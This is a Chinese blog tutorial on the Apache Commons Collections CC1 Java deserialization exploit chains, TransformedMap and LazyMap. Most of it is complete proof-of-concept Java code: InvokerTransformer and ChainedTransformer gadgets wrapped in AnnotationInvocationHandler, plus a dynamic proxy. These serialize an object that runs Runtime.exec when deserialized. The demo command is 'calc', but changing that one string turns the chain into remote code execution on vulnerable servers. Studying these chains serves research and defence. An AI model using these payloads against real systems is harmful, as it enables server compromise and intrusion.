当前位置:   article > 正文

Java反序列化之CC1_cc1反序列化

cc1反序列化

组件介绍:

Apache Commons 当中有⼀个组件叫做 Apache Commons Collections ,主要封装了Java 的 Collection(集合) 相关类对象,它提供了很多强有⼒的数据结构类型并且实现了各种集合工具类。作为Apache开源项⽬的重要组件,Commons Collections被⼴泛应⽤于各种Java应⽤的开发,⽽正 是因为在⼤量web应⽤程序中这些类的实现以及⽅法的调⽤,导致了反序列化⽤漏洞的普遍性和严重性。

环境准备:

  1. 创建一个mvn项目并且导入Commons Collections,

  1. <dependencies>
  2. <dependency>
  3. <groupId>commons-collections</groupId>
  4. <artifactId>commons-collections</artifactId>
  5. <version>3.2.1</version>
  6. </dependency>
  7. </dependencies>
  1. 为了方便调试,需要下载对应的JDK源码:

https://hg.openjdk.java.net/jdk8u/jdk8u/jdk/rev/af660750b2f4

下载完之后,需要把jdk/src/share/classes/中的sun文件夹粘贴到\Java\jdk1.8.0_65,参照下面图片(借用大佬图片):

之后打开idea里面的项目结构选项,按照下面图片进行导入SUN源码:

CC1链反序列化学习

CC1链这次学习分为两条链子TransformerMap链和Lazymap链下面进行简单学习

在此之前需要了解实现Transformer(接收一个对象,然后对Object作一些操作并输出)接口的方法:

  1. ChainedTransformer官方注释:

ChainedTransformer 是 Apache Commons Collections 库中的一个类,它是一个转换器(Transformer)的链表,将多个转换器链接在一起以进行多次转换操作。每次转换的输出结果将作为下一次转换的输入。

  1. InvokerTransformer官方解释:

InvokerTransformer 是 Apache Commons Collections 库中的一个类,它可以通过反射机制调用指定对象的指定方法,并返回方法执行结果。它是一个转换器(Transformer)实现,用于将输入对象转换为调用指定方法后的返回值。InvokerTransformer充当一个后门来使用,后面会说明。

  1. ConstantTransformer官方解释

ConstantTransformer 是 Apache Commons Collections 库中的一个类,它是一个转换器(Transformer)实现,用于将输入对象转换为一个固定的常量值。

  1. TransformedMap官方解释:

TransformedMap 是 Apache Commons Collections 框架中的一个类,它实现了一个 Map 接口,可以对其所包含的键值对进行转换操作。可以在原有的 Map 对象的基础上,提供一种能够对键或值进行自定义转换的方式。具体来说,TransformedMap 实例将会对 get、put 和 containsKey 方法进行重载,从而在访问 Map 中的键值对时,通过指定的转换器来对键或值进行转换操作。

TransformerMap链

首先,通过简单的方法来调用计算器:

    Runtime.getRuntime().exec("calc");

之后使用反射来调用计算器

  1. package FlynAAAA;
  2. import org.apache.commons.collections.map.TransformedMap;
  3. import java.io.File;
  4. import java.io.IOException;
  5. import java.lang.reflect.InvocationTargetException;
  6. import java.lang.reflect.Method;
  7. public class CC1_TransformerMap {
  8. public static void main (String[] args) throws IOException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
  9. Runtime c=Runtime.getRuntime(); //创建一个 Runtime 对象,并将其赋值给变量 c。
  10. Class r=Runtime.class;//获取 Runtime 类的 Class 对象,并将其赋值给变量 r。
  11. Method exec=c.getClass().getMethod("exec",String.class);//使用反射机制获取 Runtime 类的 exec 方法,exec 方法时需要传入一个命令字符串作为参数,该字符串指定要执行的命令。
  12. exec.invoke(c,"calc");//里传入的是 "calc",即启动 Windows 计算器程
  13. }
  14. }

为什么说InvokerTransformer相当于一个后门程序,下面是他的构造方法,第一个参数:是需要调用的方法,第二个参数是以数组的形式接收,该方法的有参构造函数的类型,第三个,构造函数的参数值

下面是InvokerTransformer中的Transformer方法iMethodName、iParamTypes以及input都可控,而且使用的是反射的方法,调用指定对象的指定方法,并返回方法执行结果。

那么就可以使用InvokerTransformer来调用计算器:

  1. package FlynAAAA;
  2. import com.sun.org.apache.bcel.internal.generic.NEW;
  3. import org.apache.commons.collections.functors.InvokerTransformer;
  4. import org.apache.commons.collections.map.TransformedMap;
  5. import java.io.File;
  6. import java.io.IOException;
  7. import java.lang.reflect.InvocationTargetException;
  8. import java.lang.reflect.Method;
  9. public class CC1_TransformerMap {
  10. public static void main (String[] args) throws IOException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
  11. Runtime r=Runtime.getRuntime();
  12. new InvokerTransformer("exec",new Class[]{String.class}, new Object[]{"calc"}).transform(r);
  13. }
  14. }

了解之后进行一个练习,使用反射嵌套InvokerTransformer来调用计算器:

  1. package FlynAAAA;
  2. import com.sun.org.apache.bcel.internal.generic.NEW;
  3. import org.apache.commons.collections.functors.InvokerTransformer;
  4. import org.apache.commons.collections.map.TransformedMap;
  5. import java.io.File;
  6. import java.io.IOException;
  7. import java.lang.reflect.InvocationTargetException;
  8. import java.lang.reflect.Method;
  9. public class CC1_TransformerMap {
  10. public static void main (String[] args) throws IOException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
  11. //题目:
  12. // Class c=Runtime.class;
  13. //Method getRunTimeMethod= c.getMethod("getRuntime",null);
  14. //Runtime r= (Runtime)getRunTimeMethod.invoke(null,null);
  15. //Method execMethod= c.getMethod("exec", String.class);
  16. //execMethod.invoke(r,"calc");
  17. //解答:
  18. Method m1=(Method) new InvokerTransformer("getMethod",new Class[]{String.class, Class[].class}, new Object[]{"getRuntime",null}).transform(Runtime.class);
  19. Runtime m2=(Runtime)new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}).transform(m1);
  20. new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(m2);
  21. }
  22. }

之后查找谁调用了tranform的方法:

可以看出在TransformerMap和Lazymap都有使用Transforme方法

先看TransformerMap#checkSetValue,这是protected方法,需要使用反射进行调用,跟踪变量valueTransformer

从TransformerMap的初始化类中看出,接收一个map数组也就是需要处理的数组,

TransformerMa类是通过decorate方法对map进行修饰。

紧接着使用cheackSetValue()进行计算器调用:

  1. package FlynAAAA;
  2. import com.sun.org.apache.bcel.internal.generic.NEW;
  3. import org.apache.commons.collections.functors.InvokerTransformer;
  4. import org.apache.commons.collections.map.TransformedMap;
  5. import java.io.File;
  6. import java.io.IOException;
  7. import java.lang.reflect.InvocationTargetException;
  8. import java.lang.reflect.Method;
  9. import java.util.HashMap;
  10. import java.util.Map;
  11. public class CC1_TransformerMap {
  12. public static void main (String[] args) throws IOException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
  13. Runtime r = Runtime.getRuntime();
  14. InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
  15. HashMap<Object, Object> map = new HashMap<>();
  16. map.put("value", "bbbbb");
  17. Map<Object, Object> transformedMap = TransformedMap.decorate(map, null,invokerTransformer);
  18. //通过反射的方法调用checkSetValue
  19. Method cheack=TransformedMap.class.getDeclaredMethod("checkSetValue", Object.class);
  20. cheack.setAccessible(true);
  21. cheack.invoke(transformedMap,r);
  22. }
  23. }

接下来查看是谁调用了cheackSetValue()方法,在AbstractMapEntryDecorator这个抽象对象中的静态类MapEntry继承了AbstractMapEntryDecorator抽象类

而AbstractMapEntryDecorator又实现了Map.Entry接口,可以看出MapEntry中的setValue方法其实就是Entry中的setValue方法,一个entry就是一对键值,可以通过遍历entry执行setValue()方法。来进行调用计算器

接下来使用SetValue来调用计算器

  1. package FlynAAAA;
  2. import com.sun.org.apache.bcel.internal.generic.NEW;
  3. import org.apache.commons.collections.functors.InvokerTransformer;
  4. import org.apache.commons.collections.map.TransformedMap;
  5. import java.io.File;
  6. import java.io.IOException;
  7. import java.lang.reflect.InvocationTargetException;
  8. import java.lang.reflect.Method;
  9. import java.util.HashMap;
  10. import java.util.Map;
  11. public class CC1_TransformerMap {
  12. public static void main (String[] args) throws IOException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
  13. Runtime r = Runtime.getRuntime();
  14. InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
  15. HashMap<Object, Object> map = new HashMap<>();
  16. map.put("aaaa", "bbbbb");
  17. Map<Object, Object> transformedMap = TransformedMap.decorate(map, null,invokerTransformer);
  18. for (Map.Entry entry:transformedMap.entrySet()){
  19. entry.setValue(r);
  20. }
  21. }
  22. }

那么此时如果有某个readObject()中使用Map.Entry去迭代集合,且中间使用可控变量调用了setValue(),就可以以这个为入口点,进行反序列化。

搜索setValue,在AnnotationInvocationHandler#readObject()中有使用。

AnnotationInvocationHandler有一个构造函数,它接受两个参数:注解接口的Class对象和一个Map对象,该Map对象包含注解属性的值。当在注解接口上调用方法时,AnnotationInvocationHandler会在Map中查找相应属性的值,并将其作为方法调用的结果返回。

  1. PPs:
  2. Object o = AnnotationInvocationHandler.newInstance(Target.class, transformedMap);

但是有几个问题:

1、Runtime没有实现Serialize接口,无法被序列化:

解决办法:

InvokerTransformer去实现:

  1. Method m1=(Method) new InvokerTransformer("getMethod",new Class[]{String.class, Class[].class}, new Object[]{"getRuntime",null}).transform(Runtime.class);
  2. Runtime m2=(Runtime)new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}).transform(m1);
  3. new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(m2);

2、触发setValue()之前的两个if条件

解决方法:

第一个if:map的键在注解中必须存在,意思是就是上面举例Target.class,map的键的键值必须在Target.class中

第二个if:map的键不能强制转换为value

setValue()中的值是一AnnotationTypeMismatchExceptionProxy对象而不是Transformer.

解决方法:

我们可以利用上面ConstantTransformer 和ChainedTransformer结合起来封装成Transformer。

  1. Transformer[] Transformer=new Transformer[]{
  2. new ConstantTransformer(Runtime.class),
  3. new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
  4. new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
  5. new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
  6. };
  7. ChainedTransformer C=new ChainedTransformer(Transformer);

ConstantTransformer类是用于将输入对象转换为一个固定的常量值。上面将他转换成Runtime.class

用ChainedTransformer把需要反射的链起来

最终poc

  1. package FlynAAAA;
  2. import com.sun.xml.internal.messaging.saaj.util.ByteOutputStream;
  3. import org.apache.commons.collections.Transformer;
  4. import org.apache.commons.collections.functors.ChainedTransformer;
  5. import org.apache.commons.collections.functors.ConstantTransformer;
  6. import org.apache.commons.collections.functors.InvokerTransformer;
  7. import org.apache.commons.collections.map.TransformedMap;
  8. import java.io.*;
  9. import java.lang.annotation.Target;
  10. import java.lang.reflect.Constructor;
  11. import java.lang.reflect.InvocationTargetException;
  12. import java.lang.reflect.Method;
  13. import java.util.HashMap;
  14. import java.util.Map;
  15. public class Test {
  16. public static void main (String[] args) throws IOException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, ClassNotFoundException, InstantiationException {
  17. //直接调用clac
  18. //Runtime.getRuntime().exec("calc");
  19. //通过反射调用
  20. // Runtime r=Runtime.getRuntime();
  21. //Class c=Runtime.class;
  22. //Method exec=c.getMethod("exec", String.class);
  23. //exec.invoke(r,"calc");
  24. //通过InvokerTransformer调用
  25. //Runtime r=Runtime.getRuntime();
  26. // new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(r);
  27. //通过CC里面的Transformemap里面的checkSetValue进行调用
  28. //Runtime r = Runtime.getRuntime();
  29. // InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
  30. Transformer[] Transformer=new Transformer[]{
  31. new ConstantTransformer(Runtime.class),
  32. new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
  33. new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
  34. new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
  35. };
  36. ChainedTransformer C=new ChainedTransformer(Transformer);
  37. HashMap<Object, Object> map = new HashMap<>();
  38. map.put("value", "bbbbb");
  39. Map<Object, Object> transformedMap = TransformedMap.decorate(map, null,C);
  40. //for (Map.Entry entry:transformedMap.entrySet()){
  41. //entry.setValue(r);
  42. // }
  43. Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
  44. Constructor AnnotationInvocationHandler = c.getDeclaredConstructor(Class.class, Map.class);
  45. AnnotationInvocationHandler.setAccessible(true);
  46. Object o = AnnotationInvocationHandler.newInstance(Target.class, transformedMap);
  47. unseri(seri(o));
  48. }
  49. public static byte[] seri (Object obj) throws IOException {
  50. ByteArrayOutputStream btout = new ByteArrayOutputStream();
  51. ObjectOutputStream OOS1 = new ObjectOutputStream(btout);
  52. OOS1.writeObject(obj);
  53. System.out.println(btout.toByteArray());
  54. return btout.toByteArray();
  55. }
  56. public static Object unseri (byte[] Filename) throws IOException, ClassNotFoundException {
  57. ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(Filename));
  58. Object obj = ois.readObject();
  59. return obj;
  60. }
  61. }

Lazymap链

从可以看出在TransformerMap和Lazymap都有使用Transforme方法,接下来看Lazymap

lazymap的实现方式是,在Map中添加一个Transformer对象作为值的默认值,当获取某个键的值时,如果该键不存在,就会使用Transformer对象来生成一个默认值,并将其作为该键的值。Transformer对象的实现方式可以是任何实现了Transformer接口的类下面是Lazymap的初始方法。

可以看见如果在get找不到键值的时候,它会调用factory.transform 方法去获取一个值:

而Lazy和transforMap一样,都是使用decorate()方法接收一个map和Transformer

AnnotationInvocationHandler的readObject()没有直接调用get(),所以ysoserial找到了另一条路,AnnotationInvocationHandler类的invoke方法有调用到get()方法

接下来有必要学习一下Java的动态代理:

Java 动态代理(Dynamic Proxy)是一种实现 AOP(Aspect Oriented Programming,面向切面编程)的方式,可以在运行时动态地创建代理类和对象。它可以使代码更加灵活、可扩展和可维护。

    public static Object newProxyInstance(ClassLoader loader, Class<?>[] interfaces, InvocationHandler h)

其中,loader 参数指定代理类的类加载器;interfaces 参数指定代理类要实现的接口列表;h 参数是一个实现了 InvocationHandler 接口的对象,用于处理代理类中方法的调用。

newProxyInstance() 方法返回的是一个代理类的实例,该实例实现了指定的接口列表,并将方法调用转发给指定的 InvocationHandler 对象处理。在代理类中,通过 InvocationHandler 对象的 invoke() 方法来处理方法调用。

例如(抄袭大佬的代码)

  1. package LazyMap;
  2. import java.lang.reflect.Proxy;
  3. import java.util.HashMap;
  4. import java.util.Map;
  5. public class App
  6. {
  7. public static void main(String[] args) {
  8. /*
  9. 自动生成代理类
  10. 第一个参数: Classloader, 及代理角色
  11. 第二个参数: Interface, 也就是抽象角色, 即我们要代理那个接口, 这里是Map
  12. 第三个参数: InvocationHandler, 是一个实现了InvocationHandler接口的被代理类,里面包含了具体代理的逻辑
  13. */
  14. Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(),new Class[]{Map.class}, new ExampleInvocationHandler(new HashMap()));
  15. // 这里虽然调用的是 Map.put() 但由代理类触发, 就会优先调用 被代理类的invoke() 然后再反射调用 put()
  16. proxyMap.put("Hello","World");
  17. // 因为优先调用被代理类的invoke, 且我们的方法又刚好是 get()
  18. // 所以被 hook住, 返回的值也会变为 Hoooooook
  19. String res = (String) proxyMap.get("Hello");
  20. System.out.println(res);
  21. }
  22. }
  1. package LazyMap;
  2. import java.lang.reflect.InvocationHandler;
  3. import java.lang.reflect.Method;
  4. import java.util.Map;
  5. public class ExampleInvocationHandler implements InvocationHandler
  6. {
  7. protected Map map;
  8. // 构造方法
  9. public ExampleInvocationHandler(Map map) {
  10. this.map = map;
  11. }
  12. // 重写invoke
  13. // 当这个类被代理后, 代理对象调用任意方法都会优先进入 被代理类的i nvoke方法
  14. @Override
  15. public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
  16. if (method.getName().equals("get"))
  17. {
  18. System.out.println("方法 get() 已被劫持 !");
  19. return "Hoooooook";
  20. }
  21. return method.invoke(this.map,args);
  22. }
  23. }

然后大致这样改POC

  1. 将TransformedMap更改类LazyMap

Map<Object,Object> decorate =  LazyMap.decorate(map, chainedTransformer);
  1. AnnotationInvocationHandler这个类实现了InvocationHandler接口,只需要在实例化它的时候,将它使用Proxy.newProxyInstance()代理,即可当代理类调用任意方法的时候,都会优先跑到AnnotationInvocationHandler这个类下的invoke()方法中

  1. Class<?> clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
  2. Constructor<?> clazzDeclaredConstructor = clazz.getDeclaredConstructor(Class.class, Map.class);
  3. clazzDeclaredConstructor.setAccessible(true);
  4. InvocationHandler handler = (InvocationHandler) clazzDeclaredConstructor.newInstance(Resource.class, decorate);
  5. Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler);
  6. Object o = clazzDeclaredConstructor.newInstance(Target.class, proxyMap);
  1. 此时是一个Proxy类,而我们的触发点在AnnotationInvocationHandler#readObject(),所以在把这个类放到构造方法第三个参数

Object o =  clazzDeclaredConstructor.newInstance(Target.class, proxyMap);

完整POC:

  1. package LazyMap;
  2. import org.apache.commons.collections.Transformer;
  3. import org.apache.commons.collections.functors.ChainedTransformer;
  4. import org.apache.commons.collections.functors.ConstantTransformer;
  5. import org.apache.commons.collections.functors.InvokerTransformer;
  6. import org.apache.commons.collections.map.LazyMap;
  7. import javax.annotation.Resource;
  8. import java.io.FileInputStream;
  9. import java.io.FileOutputStream;
  10. import java.io.ObjectInputStream;
  11. import java.io.ObjectOutputStream;
  12. import java.lang.annotation.Target;
  13. import java.lang.reflect.Constructor;
  14. import java.lang.reflect.InvocationHandler;
  15. import java.lang.reflect.Proxy;
  16. import java.util.HashMap;
  17. import java.util.Map;
  18. public class LazyMapDemo {
  19. public static void main(String[] args) throws Exception{
  20. Transformer[] transformers = new Transformer[]
  21. {
  22. new ConstantTransformer(Runtime.class),
  23. new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
  24. new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
  25. new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
  26. };
  27. ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
  28. HashMap<Object, Object> map = new HashMap<>();
  29. map.put("value",1);
  30. Map<Object,Object> decorate = LazyMap.decorate(map, chainedTransformer);
  31. Class<?> clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
  32. Constructor<?> clazzDeclaredConstructor = clazz.getDeclaredConstructor(Class.class, Map.class);
  33. clazzDeclaredConstructor.setAccessible(true);
  34. InvocationHandler handler = (InvocationHandler) clazzDeclaredConstructor.newInstance(Resource.class, decorate);
  35. Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler);
  36. Object o = clazzDeclaredConstructor.newInstance(Target.class, proxyMap);
  37. //new clazzDeclaredConstructor.newInstance(Target.class, proxyMap);
  38. serialize(o);
  39. unserialize("poc.ser");
  40. // proxyMap.size();
  41. }
  42. public static void serialize(Object obj) throws Exception
  43. {
  44. ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("poc.ser"));
  45. oos.writeObject(obj);
  46. }
  47. public static Object unserialize(String filename) throws Exception
  48. {
  49. ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
  50. return ois.readObject();
  51. }
  52. }

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/繁依Fanyi0/article/detail/779995
推荐阅读
相关标签
  

闽ICP备14008679号